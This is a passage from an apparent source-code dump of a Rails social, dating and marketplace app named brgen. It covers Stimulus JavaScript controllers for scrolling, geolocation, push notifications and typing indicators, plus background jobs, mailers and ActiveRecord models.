  \n\n *     Loading more...\n *   \n */\nexport default class extends Controller {\n  static values = { url: String }\n\n  observer = null\n  loading = false\n\n  connect() {\n    if (!this.hasUrlValue) return\n\n    this.observer = new IntersectionObserver(entries =&gt; {\n      entries.forEach(entry =&gt; {\n        if (entry.isIntersecting &amp;&amp; !this.loading) {\n          this.loadMore()\n        }\n      })\n    }, { rootMargin: \"200px\" })\n\n    this.observer.observe(this.element)\n  }\n\n  disconnect() {\n    if (this.observer) this.observer.disconnect()\n  }\n\n  async loadMore() {\n    if (this.loading || !this.urlValue) return\n    this.loading = true\n    this.element.textContent = \"Loading more deals\u2026\"\n\n    try {\n      const response = await fetch(this.urlValue, {\n        headers: { \"Accept\": \"text/html\" }\n      })\n\n      if (!response.ok) throw new Error(\"Failed to load more\")\n\n      const html = await response.text()\n      const parser = new DOMParser()\n      const doc = parser.parseFromString(html, \"text/html\")\n\n      // Find the next page's cards and append them\n      const newGrid = doc.querySelector(\"#marketplace-listings\")\n      const currentGrid = document.querySelector(\"#marketplace-listings\")\n\n      if (newGrid &amp;&amp; currentGrid) {\n        Array.from(newGrid.children).forEach(child =&gt; {\n          currentGrid.appendChild(child.cloneNode(true))\n        })\n      }\n\n      // Update sentinel with next page URL if available\n      const nextSentinel = doc.querySelector(\"[data-controller*='futurism-load-more']\")\n      if (nextSentinel &amp;&amp; nextSentinel.dataset.futurismLoadMoreUrlValue) {\n        this.urlValue = nextSentinel.dataset.futurismLoadMoreUrlValue\n        this.loading = false\n      } else {\n        // No more pages\n        this.element.remove()\n      }\n    } catch (error) {\n      console.error(\"[futurism-load-more]\", error)\n      this.element.textContent = \"Failed to load more. Scroll to retry.\"\n      this.loading = false\n    }\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/geolocation_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { url: String }\n\n  #seen = new Set()\n  #watch = null\n\n  connect() {\n    if (!navigator.geolocation) return\n    this.#watch = navigator.geolocation.watchPosition(\n      pos =&gt; this.#send(pos.coords.latitude, pos.coords.longitude),\n      () =&gt; {},\n      { enableHighAccuracy: true, maximumAge: 30_000, timeout: 10_000 }\n    )\n  }\n\n  disconnect() {\n    if (this.#watch !== null) navigator.geolocation.clearWatch(this.#watch)\n  }\n\n  // Called by Turbo Stream when a nearby user is detected server-side.\n  // Deduplicates so each stranger only triggers one alert per page session.\n  alertArrival(handle, userId) {\n    if (this.#seen.has(userId)) return\n    this.#seen.add(userId)\n  }\n\n  #send(lat, lng) {\n    fetch(this.urlValue, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n        \"X-CSRF-Token\": document.querySelector(\"meta[name=csrf-token]\")?.content\n      },\n      body: JSON.stringify({ latitude: lat, longitude: lng })\n    })\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\"\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n\n// Futurism (for Pagy + infinite scroll per ruby_style.yml stimulus_reflex_stack)\nimport Futurism from \"@stimulus_reflex/futurism\"\napplication.register(\"futurism\", Futurism)\n```\n\n## `rails/brgen/app/javascript/controllers/lightbox_controller.js`\n```javascript\nimport Lightbox from \"@stimulus-components/lightbox\"\n\nexport default class extends Lightbox {\n  get defaultOptions() {\n    return {\n      licenseKey: document.head.querySelector(\"meta[name=lg-license]\")?.content || \"0000-0000-000-0000\",\n      speed: 400,\n      download: true,\n      counter: true,\n      print: true,  // printout button\n      mobileSettings: { controls: true, showCloseIcon: true, download: true }\n    }\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/media_picker_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static targets = [\"input\", \"preview\", \"filters\"]\n\n  trigger() { this.inputTarget.click() }\n\n  pick(e) {\n    const files = Array.from(e.target.files)\n    if (!files.length) return\n    this.previewTarget.innerHTML = \"\"\n    files.forEach((f, i) =&gt; {\n      const reader = new FileReader()\n      reader.onload = ev =&gt; {\n        const wrap = document.createElement(\"div\")\n        wrap.className = \"media-thumb\"\n        const img = document.createElement(\"img\")\n        img.src = ev.target.result\n        img.alt = f.name\n        const rm = document.createElement(\"button\")\n        rm.type = \"button\"\n        rm.className = \"media-thumb-rm\"\n        rm.textContent = \"\u2715\"\n        rm.addEventListener(\"click\", () =&gt; {\n          wrap.remove()\n          if (!this.previewTarget.children.length) this.inputTarget.value = \"\"\n        })\n        wrap.append(img, rm)\n        this.previewTarget.appendChild(wrap)\n      }\n      reader.readAsDataURL(f)\n    })\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/brgen/app/javascript/controllers/push_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { vapidKey: String, subscribeUrl: String, unread: Number }\n\n  async connect() {\n    if (!(\"serviceWorker\" in navigator) || !(\"PushManager\" in window)) return\n    this.#syncBadge()\n    const reg = await navigator.serviceWorker.ready\n    const existing = await reg.pushManager.getSubscription()\n    if (existing) { await this.#save(existing); return }\n    if (Notification.permission === \"granted\") await this.#subscribe(reg)\n    if (Notification.permission === \"default\") this.#prompt(reg)\n  }\n\n  clearBadge() {\n    navigator.clearAppBadge?.()\n  }\n\n  #syncBadge() {\n    const n = this.unreadValue\n    if (n &gt; 0) navigator.setAppBadge?.(n)\n    else navigator.clearAppBadge?.()\n  }\n\n  #prompt(reg) {\n    // Defer permission request to a user gesture via the \"Enable notifications\" button if present.\n    const btn = document.getElementById(\"push-enable-btn\")\n    if (!btn) return\n    btn.hidden = false\n    btn.addEventListener(\"click\", async () =&gt; {\n      const perm = await Notification.requestPermission()\n      if (perm === \"granted\") { await this.#subscribe(reg); btn.hidden = true }\n    }, { once: true })\n  }\n\n  async #subscribe(reg) {\n    const sub = await reg.pushManager.subscribe({\n      userVisibleOnly: true,\n      applicationServerKey: this.#b64ToUint8(this.vapidKeyValue)\n    })\n    await this.#save(sub)\n  }\n\n  async #save(sub) {\n    await fetch(this.subscribeUrlValue, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n        \"X-CSRF-Token\": document.querySelector(\"meta[name=csrf-token]\")?.content\n      },\n      body: JSON.stringify(sub.toJSON())\n    })\n  }\n\n  #b64ToUint8(b64) {\n    const pad = \"=\".repeat((4 - b64.length % 4) % 4)\n    const raw = atob((b64 + pad).replace(/-/g, \"+\").replace(/_/g, \"/\"))\n    return Uint8Array.from(raw, c =&gt; c.charCodeAt(0))\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/share_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { title: String, url: String }\n\n  async share() {\n    const payload = { title: this.titleValue, url: this.urlValue || location.href }\n    if (navigator.share) {\n      await navigator.share(payload).catch(() =&gt; {})\n    } else {\n      await navigator.clipboard.writeText(payload.url)\n      this.element.textContent = \"Copied\"\n      setTimeout(() =&gt; { this.element.textContent = \"Share\" }, 1800)\n    }\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/brgen/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize)\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize)\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/brgen/app/javascript/controllers/typing_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { conversationId: Number }\n\n  connect() {\n    this.timer = setInterval(() =&gt; this.expire(), 6000)\n  }\n\n  disconnect() {\n    clearInterval(this.timer)\n  }\n\n  expire() {\n    if (!this.element.children.length) return\n    this.element.replaceChildren()\n  }\n}\n```\n\n## `rails/brgen/app/javascript/controllers/typing_input_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { url: String }\n\n  connect() {\n    this.lastPing = 0\n  }\n\n  ping() {\n    const now = Date.now()\n    if (now - this.lastPing &lt; 2000) return\n    this.lastPing = now\n    fetch(this.urlValue, {\n      method: \"POST\",\n      headers: { \"X-CSRF-Token\": this.csrf, \"Accept\": \"text/vnd.turbo-stream.html\" }\n    })\n  }\n\n  get csrf() {\n    return document.querySelector(\"meta[name=csrf-token]\")?.content || \"\"\n  }\n}\n```\n\n## `rails/brgen/app/jobs/notification_delivery_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass NotificationDeliveryJob &lt; ApplicationJob\n  queue_as :default\n\n  def perform(notification_id)\n    notification = Notification.find(notification_id)\n    notification.broadcast_prepend_to(\"brgen:notifications:#{notification.user_id}\") if notification.respond_to?(:broadcast_prepend_to)\n    Shared::EventEmitter.call(\"brgen.notification.delivered\", notification_id: notification.id, user_id: notification.user_id) if defined?(Shared::EventEmitter)\n  end\nend\n```\n\n## `rails/brgen/app/jobs/postpro_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PostproJob &lt; ApplicationJob\n  queue_as :default\n\n  POSTPRO = Rails.root.join(\"../../../../postpro.rb\").expand_path.freeze\n  VALID_PRESETS = %w[portrait landscape street blockbuster].freeze\n\n  def perform(record_gid, preset, attachment_name = \"image\")\n    record = GlobalID::Locator.locate(record_gid)\n    return unless record\n\n    attachment = record.public_send(attachment_name)\n    return unless attachment.attached?\n    return unless VALID_PRESETS.include?(preset.to_s)\n\n    Dir.mktmpdir(\"postpro\") do |dir|\n      ext    = File.extname(attachment.filename.to_s).downcase.presence || \".jpg\"\n      input  = File.join(dir, \"input#{ext}\")\n      output = File.join(dir, \"output.jpg\")\n\n      attachment.download { |chunk| File.open(input, \"ab\") { |f| f.write(chunk) } }\n\n      ok = system(\n        RbConfig.ruby, POSTPRO.to_s,\n        \"--input\", input, \"--output\", output, \"--preset\", preset.to_s,\n        out: File::NULL, err: File::NULL\n      )\n\n      if ok &amp;&amp; File.exist?(output)\n        attachment.attach(\n          io:           File.open(output),\n          filename:     \"#{File.basename(attachment.filename.to_s, \".*\")}_#{preset}.jpg\",\n          content_type: \"image/jpeg\"\n        )\n      end\n    end\n  end\nend\n```\n\n## `rails/brgen/app/mailers/email_subscription_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass EmailSubscriptionMailer &lt; ApplicationMailer\n  default from: \"Brgen \"\n\n  def confirm(sub)\n    @sub = sub\n    @confirm_url = confirm_email_subscription_url(token: sub.token)\n    @unsubscribe_url = email_subscription_url(token: sub.token)\n    mail to: sub.email, subject: \"Confirm your Brgen subscription\"\n  end\nend\n```\n\n## `rails/brgen/app/mailers/newsletter_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass NewsletterMailer &lt; ApplicationMailer\n  def weekly_deals(subscription)\n    @subscription = subscription\n    @city = subscription.city&amp;.capitalize || \"Brgen\"\n    @deals = Tradedoubler.deals(limit: 6)\n    @unsubscribe_url = email_subscription_url(subscription.token)\n    mail(to: subscription.email, subject: \"#{@city} \u2014 deals this week\")\n  end\nend\n```\n\n## `rails/brgen/app/mailers/passwords_mailer.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsMailer &lt; ApplicationMailer\n  def reset(user)\n    @user = user\n    mail subject: \"Reset your password\", to: user.email_address\n  end\nend\n```\n\n## `rails/brgen/app/models/account_merge.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AccountMerge &lt; ApplicationRecord\n  belongs_to :guest_user, class_name: \"User\"\n  belongs_to :user\n\n  validates :status, presence: true\nend\n```\n\n## `rails/brgen/app/models/activity_event.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ActivityEvent &lt; ApplicationRecord\n  belongs_to :actor, class_name: \"User\", optional: true\n\n  validates :source_vertical, :event_name, :object_type, :object_id, presence: true\n\n  scope :visible, -&gt; { where(moderation_state: \"clean\") }\n  scope :recent, -&gt; { order(created_at: :desc) }\nend\n```\n\n## `rails/brgen/app/models/city.rb`\n```ruby\n# frozen_string_literal: true\n\nclass City &lt; ApplicationRecord\n  has_many :neighborhoods, dependent: :destroy\n  has_many :places, dependent: :destroy\n\n  validates :country_code, presence: true\n  validates :domain, presence: true, uniqueness: true\n  validates :locale, presence: true\n  validates :name, presence: true\n  validates :slug, presence: true, uniqueness: true\nend\n```\n\n## `rails/brgen/app/models/comment.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Comment &lt; ApplicationRecord\n  include Votable\n\n  belongs_to :user\n  belongs_to :commentable, polymorphic: true, touch: true\n  belongs_to :parent, class_name: \"Comment\", optional: true\n\n  has_many :replies, class_name: \"Comment\", foreign_key: :parent_id, dependent: :destroy\n  has_many :votes, as: :votable, dependent: :destroy\n\n  validates :content, presence: true, length: { minimum: 1, maximum: 10000 }\n\n  scope :best,          -&gt; { left_joins(:votes).group(:id).order(\"SUM(COALESCE(votes.value, 0)) DESC\") }\n  scope :top,           -&gt; { best }\n  scope :new_first,     -&gt; { order(created_at: :desc) }\n  scope :controversial, -&gt; {\n    left_joins(:votes).group(:id)\n      .having(\"COUNT(CASE WHEN votes.value =  1 THEN 1 END) &gt; 0\")\n      .having(\"COUNT(CASE WHEN votes.value = -1 THEN 1 END) &gt; 0\")\n      .order(\"ABS(SUM(votes.value)) ASC\")\n  }\n\n  def root?  = parent_id.nil?\n  def depth  = parent ? parent.depth + 1 : 0\n\n  LONG_THREAD_THRESHOLD = 20\n\n  def long_thread?\n    root_replies = replies.count\n    total = root_replies + replies.sum { |r| r.replies.count }\n    total &gt; LONG_THREAD_THRESHOLD\n  end\n\n  def has_thread_summary?\n    thread_summary.present? &amp;&amp; summary_updated_at.present?\n  end\nend\n```\n\n## `rails/brgen/app/models/community.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Community &lt; ApplicationRecord\n  belongs_to :user, optional: true\n\n  has_many :posts, dependent: :destroy\n\n  validates :name,        presence: true, uniqueness: true, length: { maximum: 100 }\n  validates :description, length: { maximum: 500 }\n\n  POPULAR_SQL = Arel.sql(\"COUNT(posts.id) DESC\")\n  scope :popular, -&gt; { left_joins(:posts).group(:id).order(POPULAR_SQL) }\nend\n```\n\n## `rails/brgen/app/models/concerns/commentable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Commentable\n  extend ActiveSupport::Concern\n\n  included do\n    has_many :comments, as: :commentable, dependent: :destroy\n  end\n\n  def root_comments = comments.where(parent_id: nil)\n  def comment_count = comments.count\nend\n```\n\n## `rails/brgen/app/models/concerns/mentionable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Mentionable\n  extend ActiveSupport::Concern\n\n  included do\n    after_save :sync_mentions\n  end\n\n  private\n\n  def sync_mentions\n    usernames = (try(:content).to_s + \" \" + try(:title).to_s).scan(/@(\\w+)/).flatten.uniq\n    usernames.each do |uname|\n      user = User.find_by(username: uname)\n      mentions.find_or_create_by!(mentioned_user: user) if user &amp;&amp; user != try(:user)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/concerns/pushable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Pushable\n  VAPID = {\n    subject:     -&gt; { \"mailto:#{ENV.fetch(\"VAPID_SUBJECT\", \"admin@brgen.no\")}\" },\n    public_key:  -&gt; { ENV.fetch(\"VAPID_PUBLIC_KEY\",  \"\") },\n    private_key: -&gt; { ENV.fetch(\"VAPID_PRIVATE_KEY\", \"\") }\n  }.freeze\n\n  def push_to(user, title:, body: \"\", url: \"/\")\n    return if VAPID[:public_key].call.empty?\n\n    user.push_subscriptions.each do |sub|\n      Webpush.payload_send(\n        message:  JSON.generate({ title:, body:, url: }),\n        endpoint: sub.endpoint,\n        p256dh:   sub.p256dh,\n        auth:     sub.auth,\n        vapid:    { subject: VAPID[:subject].call, public_key: VAPID[:public_key].call, private_key: VAPID[:private_key].call }\n      )\n    rescue Webpush::ExpiredSubscription, Webpush::InvalidSubscription\n      sub.destroy\n    end\n  end\n\n  module_function :push_to\nend\n```\n\n## `rails/brgen/app/models/concerns/taggable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Taggable\n  extend ActiveSupport::Concern\n\n  included do\n    has_many :taggings, as: :taggable, dependent: :destroy\n    has_many :hashtags, through: :taggings\n    after_save :sync_hashtags\n  end\n\n  def hashtag_list = hashtags.pluck(:name).join(\" \")\n\n  private\n\n  def sync_hashtags\n    names = Hashtag.extract(try(:content).to_s + \" \" + try(:title).to_s)\n    tags  = names.map { |n| Hashtag.find_or_create_by!(name: n).tap { |h| h.increment!(:usage_count) } }\n    self.hashtags = tags\n  end\nend\n```\n\n## `rails/brgen/app/models/concerns/votable.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Votable\n  extend ActiveSupport::Concern\n\n  included do\n    has_many :votes, as: :votable, dependent: :destroy\n  end\n\n  def score         = votes.sum(:value)\n  def upvotes       = votes.where(value: 1).count\n  def downvotes     = votes.where(value: -1).count\n  def voted_by?(u)  = u &amp;&amp; votes.find_by(user: u)&amp;.value\n  def upvoted_by?(u)   = voted_by?(u) == 1\n  def downvoted_by?(u) = voted_by?(u) == -1\nend\n```\n\n## `rails/brgen/app/models/conversation.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Conversation &lt; ApplicationRecord\n  has_many :conversation_participants, dependent: :destroy\n  has_many :participants, through: :conversation_participants, source: :user\n  has_many :messages, dependent: :destroy\n  has_many :typing_indicators, dependent: :destroy\n\n  validates :conversation_type, inclusion: { in: %w[direct group] }\n\n  scope :for_user, -&gt;(u) { joins(:conversation_participants).where(conversation_participants: { user: u }) }\n\n  def self.direct_between(a, b)\n    for_user(a).for_user(b).where(conversation_type: \"direct\").first\n  end\n\n  def self.find_or_create_direct(a, b)\n    direct_between(a, b) || create!(conversation_type: \"direct\").tap do |c|\n      c.participants &lt;&lt; a &lt;&lt; b\n    end\n  end\n\n  def unread_count_for(user)\n    participant = conversation_participants.find_by(user:)\n    return 0 unless participant\n    messages.where(\"created_at &gt; ?\", participant.last_read_at || Time.at(0)).count\n  end\n\n  def mark_read_for!(user)\n    conversation_participants.find_by(user:)&amp;.update!(last_read_at: Time.now)\n  end\nend\n```\n\n## `rails/brgen/app/models/conversation_participant.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ConversationParticipant &lt; ApplicationRecord\n  belongs_to :conversation\n  belongs_to :user\nend\n```\n\n## `rails/brgen/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :city\n  attribute :country\n  attribute :currency\n  attribute :domain\n  attribute :locale\n  attribute :neighborhood\n  attribute :session\n  attribute :subapp\n  attribute :user\nend\n```\n\n## `rails/brgen/app/models/dating.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Dating\n  def self.table_name_prefix\n    \"dating_\"\n  end\nend\n```\n\n## `rails/brgen/app/models/dating/dislike.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::Dislike &lt; ApplicationRecord\n  belongs_to :disliker, class_name: \"User\"\n  belongs_to :dislikee, class_name: \"User\"\n  validates :disliker_id, uniqueness: { scope: :dislikee_id }\n  validate  :no_self_dislike\n\n  private\n  def no_self_dislike\n    errors.add(:dislikee, \"can't dislike yourself\") if disliker_id == dislikee_id\n  end\nend\n```\n\n## `rails/brgen/app/models/dating/like.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::Like &lt; ApplicationRecord\n  belongs_to :liker, class_name: \"User\"\n  belongs_to :likee, class_name: \"User\"\n  validates :liker_id, uniqueness: { scope: :likee_id }\n  validate  :no_self_like\n  after_create :check_mutual_match\n\n  private\n\n  def no_self_like\n    errors.add(:likee, \"can't like yourself\") if liker_id == likee_id\n  end\n\n  def check_mutual_match\n    return unless Dating::Like.exists?(liker_id: likee_id, likee_id: liker_id)\n    Dating::Match.find_or_create_by!(initiator_id: liker_id, receiver_id: likee_id) do |m|\n      m.status = \"matched\"\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/dating/match.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::Match &lt; ApplicationRecord\n  belongs_to :initiator, class_name: \"User\"\n  belongs_to :receiver,  class_name: \"User\"\n  validates :initiator_id, uniqueness: { scope: :receiver_id }\n  validates :status, inclusion: { in: %w[pending matched unmatched] }\n\n  scope :active, -&gt; { where(status: \"matched\") }\n\n  def other_user(user)\n    initiator_id == user.id ? receiver : initiator\n  end\nend\n```\n\n## `rails/brgen/app/models/dating/profile.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Dating::Profile &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :neighborhood, optional: true\n  has_many_attached :photos\n\n  GENDERS     = %w[man woman nonbinary other].freeze\n  LOOKING_FOR = %w[man woman everyone].freeze\n\n  validates :bio,         length: { maximum: 500 }\n  validates :age,         numericality: { greater_than: 17, less_than: 100 }, allow_nil: true\n  validates :gender,      inclusion: { in: GENDERS },     allow_nil: true\n  validates :looking_for, inclusion: { in: LOOKING_FOR }, allow_nil: true\n\n  scope :visible, -&gt; { where(visible: true) }\n  scope :nearby, -&gt;(lat, lng, km = 50) {\n    where(\"ABS(latitude - ?) &lt; ? AND ABS(longitude - ?) &lt; ?\", lat, km / 111.0, lng, km / 111.0)\n  }\n  scope :in_neighborhood, -&gt;(neigh) { neigh ? where(neighborhood_id: neigh.id) : all }\n\n  def liked_by?(user)    = Dating::Like.exists?(liker: user, likee: self.user)\n  def disliked_by?(user) = Dating::Dislike.exists?(disliker: user, dislikee: self.user)\n  def matched_with?(user)\n    Dating::Match.where(status: \"matched\")\n      .where(\"(initiator_id = ? AND receiver_id = ?) OR (initiator_id = ? AND receiver_id = ?)\",\n             self.user_id, user.id, user.id, self.user_id).exists?\n  end\nend\n```\n\n## `rails/brgen/app/models/email_subscription.rb`\n```ruby\n# frozen_string_literal: true\n\nclass EmailSubscription &lt; ApplicationRecord\n  before_create :generate_token\n\n  validates :email, presence: true, uniqueness: true,\n    format: { with: URI::MailTo::EMAIL_REGEXP }\n\n  scope :confirmed, -&gt; { where(confirmed: true) }\n  scope :marketing_opted_in, -&gt; { confirmed.where(agreed_to_marketing: true) }\n\n  def confirm!\n    update!(confirmed: true, confirmed_at: Time.current)\n  end\n\n  private\n\n  def generate_token\n    self.token = SecureRandom.urlsafe_base64(32)\n  end\nend\n```\n\n## `rails/brgen/app/models/external_identity.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ExternalIdentity &lt; ApplicationRecord\n  belongs_to :identity_provider\n  belongs_to :user\n\n  validates :assurance_level, presence: true\n  validates :subject, presence: true\nend\n```\n\n## `rails/brgen/app/models/follow.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Follow &lt; ApplicationRecord\n  belongs_to :follower, class_name: \"User\"\n  belongs_to :followed, class_name: \"User\"\n\n  validates :follower_id, uniqueness: { scope: :followed_id }\n  validate :no_self_follow\n\n  after_create_commit :emit_follow_created\n  after_destroy_commit :emit_follow_removed\n\n  private\n\n  def no_self_follow\n    errors.add(:base, \"cannot follow yourself\") if follower_id == followed_id\n  end\n\n  def emit_follow_created\n    Notification.create!(user: followed, actor: follower, kind: \"follow\", notifiable: self) if defined?(Notification)\n    Shared::EventEmitter.call(\"brgen.follow.created\", follower_id:, followed_id:) if defined?(Shared::EventEmitter)\n  end\n\n  def emit_follow_removed\n    Shared::EventEmitter.call(\"brgen.follow.removed\", follower_id:, followed_id:) if defined?(Shared::EventEmitter)\n  end\nend\n```\n\n## `rails/brgen/app/models/hashtag.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Hashtag &lt; ApplicationRecord\n  has_many :taggings, dependent: :destroy\n\n  validates :name, presence: true, uniqueness: { case_sensitive: false }\n\n  before_validation { self.name = name.to_s.downcase.gsub(/[^a-z0-9_]/, \"\") }\n\n  scope :trending, -&gt; { order(usage_count: :desc) }\n\n  def self.extract(text)\n    text.to_s.scan(/#([a-zA-Z0-9_]+)/).flatten.map(&amp;:downcase).uniq\n  end\nend\n```\n\n## `rails/brgen/app/models/identity_assurance.rb`\n```ruby\n# frozen_string_literal: true\n\nclass IdentityAssurance &lt; ApplicationRecord\n  LEVELS = %w[guest account phone bankid merchant moderator].freeze\n\n  belongs_to :user\n\n  validates :level, inclusion: { in: LEVELS }\n  validates :source, presence: true\nend\n```\n\n## `rails/brgen/app/models/identity_provider.rb`\n```ruby\n# frozen_string_literal: true\n\nclass IdentityProvider &lt; ApplicationRecord\n  has_many :external_identities, dependent: :destroy\n\n  validates :name, presence: true\n  validates :slug, presence: true, uniqueness: true\nend\n```\n\n## `rails/brgen/app/models/marketplace.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  def self.table_name_prefix\n    \"marketplace_\"\n  end\nend\n```\n\n## `rails/brgen/app/models/marketplace/category.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::Category &lt; ApplicationRecord\n  belongs_to :parent, class_name: \"Marketplace::Category\", optional: true\n  has_many :children, class_name: \"Marketplace::Category\", foreign_key: :parent_id, dependent: :nullify\n  has_many :listings, class_name: \"Marketplace::Listing\", foreign_key: :category_id, dependent: :nullify\n\n  validates :name, :slug, presence: true\n  validates :slug, uniqueness: true\n\n  before_validation { self.slug ||= name.to_s.parameterize }\n\n  scope :roots, -&gt; { where(parent_id: nil) }\n\n  def to_param = slug\nend\n```\n\n## `rails/brgen/app/models/marketplace/deal.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  class Deal &lt; ApplicationRecord\n    self.table_name = \"marketplace_deals\"\n\n    belongs_to :listing, class_name: \"Marketplace::Listing\"\n\n    validates :headline, presence: true, length: { maximum: 160 }\n    validates :badge, length: { maximum: 64 }, allow_blank: true\n    validates :discount_percent, numericality: { greater_than_or_equal_to: 0, less_than_or_equal_to: 100 }, allow_nil: true\n\n    scope :active, -&gt; {\n      now = Time.current\n      where(\"starts_at IS NULL OR starts_at &lt;= ?\", now)\n        .where(\"ends_at IS NULL OR ends_at &gt;= ?\", now)\n        .order(priority: :desc, created_at: :desc)\n    }\n\n    scope :featured, -&gt; { where(featured: true) }\n\n    def active?\n      (starts_at.blank? || starts_at &lt;= Time.current) &amp;&amp; (ends_at.blank? || ends_at &gt;= Time.current)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/marketplace/listing.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::Listing &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :store, class_name: \"Marketplace::Store\", optional: true\n  belongs_to :category, class_name: \"Marketplace::Category\",\n             foreign_key: :category_id, optional: true\n  has_many :orders, class_name: \"Marketplace::Order\",\n           foreign_key: :listing_id, dependent: :destroy\n  has_many :favorites, class_name: \"Marketplace::ListingFavorite\",\n           foreign_key: :listing_id, dependent: :destroy\n  has_many :deals, class_name: \"Marketplace::Deal\", dependent: :destroy\n  has_many :favorited_by_users, through: :favorites, source: :user\n  has_many_attached :photos\n\n  CONDITIONS = %w[new like_new good fair poor].freeze\n  STATUSES   = %w[active sold reserved removed].freeze\n\n  validates :title, presence: true, length: { maximum: 200 }\n  validates :price_cents, numericality: { greater_than_or_equal_to: 0 }\n  validates :condition, inclusion: { in: CONDITIONS }, allow_nil: true\n  validates :status, inclusion: { in: STATUSES }\n\n  before_validation { self.status ||= \"active\"; self.currency ||= \"NOK\" }\n\n  scope :active,   -&gt; { where(status: \"active\") }\n  scope :recent,   -&gt; { order(created_at: :desc) }\n  scope :popular,  -&gt; { order(views_count: :desc) }\n  scope :from_store, -&gt;(store) { where(store: store) }\n\n  def price_display = \"#{price_cents / 100.0} #{currency}\"\n  def sold? = status == \"sold\"\n  def favorite_for(user) = favorites.find_by(user: user)\n  def store_name = store&amp;.name\nend\n```\n\n## `rails/brgen/app/models/marketplace/listing_favorite.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::ListingFavorite &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :listing, class_name: \"Marketplace::Listing\"\n\n  validates :user_id, uniqueness: { scope: :listing_id }\nend\n```\n\n## `rails/brgen/app/models/marketplace/order.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::Order &lt; ApplicationRecord\n  belongs_to :buyer,   class_name: \"User\"\n  belongs_to :listing, class_name: \"Marketplace::Listing\"\n\n  STATUSES = %w[pending accepted declined completed].freeze\n\n  validates :status, inclusion: { in: STATUSES }\n  validates :quantity, numericality: { greater_than: 0 }, allow_nil: true\n  before_validation { self.status ||= \"pending\"; self.quantity ||= 1 }\n\n  def seller = listing.user\n\n  # Cart-like helpers (pending orders act as the buyer's cart)\n  def total_cents = (listing.price_cents || 0) * (quantity || 1)\n  def total_display = \"#{total_cents / 100.0} #{listing.currency || 